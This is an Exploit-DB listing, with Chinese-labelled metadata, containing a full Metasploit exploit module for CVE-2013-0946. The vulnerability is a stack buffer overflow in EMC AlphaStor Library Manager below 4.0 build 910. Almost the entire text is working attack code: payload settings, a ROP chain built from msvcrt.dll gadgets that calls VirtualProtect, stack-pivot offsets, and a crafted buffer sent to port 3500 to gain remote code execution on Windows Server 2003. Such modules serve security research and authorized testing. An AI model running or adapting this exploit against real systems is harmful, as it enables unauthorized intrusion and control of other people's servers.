标题: EMC AlphaStor Library Manager < 4.0 build 910 - Opcode 0x4f Buffer Overflow (Metasploit) EDB-ID: 42719 CVE: 2013-0946 类型: REMOTE 平台: WINDOWS 发布日期: 2017-09-14 漏洞利用脚本: require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'EMC AlphaStor Library Manager Opcode 0x4f',
   'Description'    => %q{
    This module exploits a stack based buffer overflow found in EMC
    Alphastor Library Manager version < 4.0 build 910. The overflow
    is triggered due to a lack of sanitization of the pointers used
    for two strcpy functions.
   },
   'Author'         => [ 'james fitts' ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-029/' ],
     [ 'CVE', '2013-0946' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
     'wfsdelay' => 1000
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space' => 160,
     'DisableNops' => 'true',
     'BadChars' => "\x00\x09\x0a\x0d",
     'StackAdjustment' => -404,
     'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
     'Compat'        =>
      {
       'SymbolLookup' => 'ws2ord',
      },
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 
      'Windows Server 2003 SP2 EN', 
       { 
        # msvcrt.dll
        # add esp, 0c/ retn
        'Ret' => 0x77bdda70, 
       } 
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Feb 13 2014'))

  register_options(
   [
    Opt::RPORT(3500)
   ], self.class )
 end

 def exploit
  connect

  p =  "\x90" * 8
  p << payload.encoded

  # msvcrt.dll
  # 96 bytes
  rop = [
   0x77bb2563, # pop eax/ retn 
      0x77ba1114, # ptr to kernel32!virtualprotect
      0x77bbf244, # mov eax, dword ptr [eax]/ pop ebp/ retn
      0xfeedface,
      0x77bb0c86, # xchg eax, esi/ retn
      0x77bc9801, # pop ebp/ retn
      0x77be2265,
      0x77bb2563, # pop eax/ retn
      0x03C0990F,
      0x77bdd441, # sub eax, 3c0940fh/ retn
      0x77bb48d3, # pop eax/ retn
      0x77bf21e0,
      0x77bbf102, # xchg eax, ebx/ add byte ptr [eax], al/ retn
      0x77bbfc02, # pop ecx/ retn
      0x77bef001,
      0x77bd8c04, # pop edi/ retn
      0x77bd8c05,
      0x77bb2563, # pop eax/ retn
      0x03c0984f,
      0x77bdd441, # sub eax, 3c0940fh/ retn
      0x77bb8285, # xchg eax, edx/ retn
      0x77bb2563, # pop eax/ retn
      0x90909090,
      0x77be6591, # pushad/ add al, 0efh/ retn
  ].pack("V*")

  buf = Rex::Text.pattern_create(514)
  buf[0, 2] =  "O~"           # opcode
  buf[13, 4] = [0x77bdf444].pack('V')  # stack pivot 52
  buf[25, 4] = [target.ret].pack('V')  # stack pivot 12
  buf[41, 4] = [0x77bdf444].pack('V')  # stack pivot 52
  buf[57, 4] = [0x01167e20].pack('V')  # ptr
  buf[69, rop.length] = rop
  buf[165, 4] = [0x909073eb].pack('V') # jmp $+117
  buf[278, 4] = [0x0116fd59].pack('V') # ptr
  buf[282, p.length] = p
  buf[512, 1] = "\x00"

  # junk
  buf << "AAAA"
  buf << "BBBB"
  buf << "CCCC"
  buf << "DDDD"

  print_status("Trying target %s..." % target.name)

  sock.put(buf)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/42719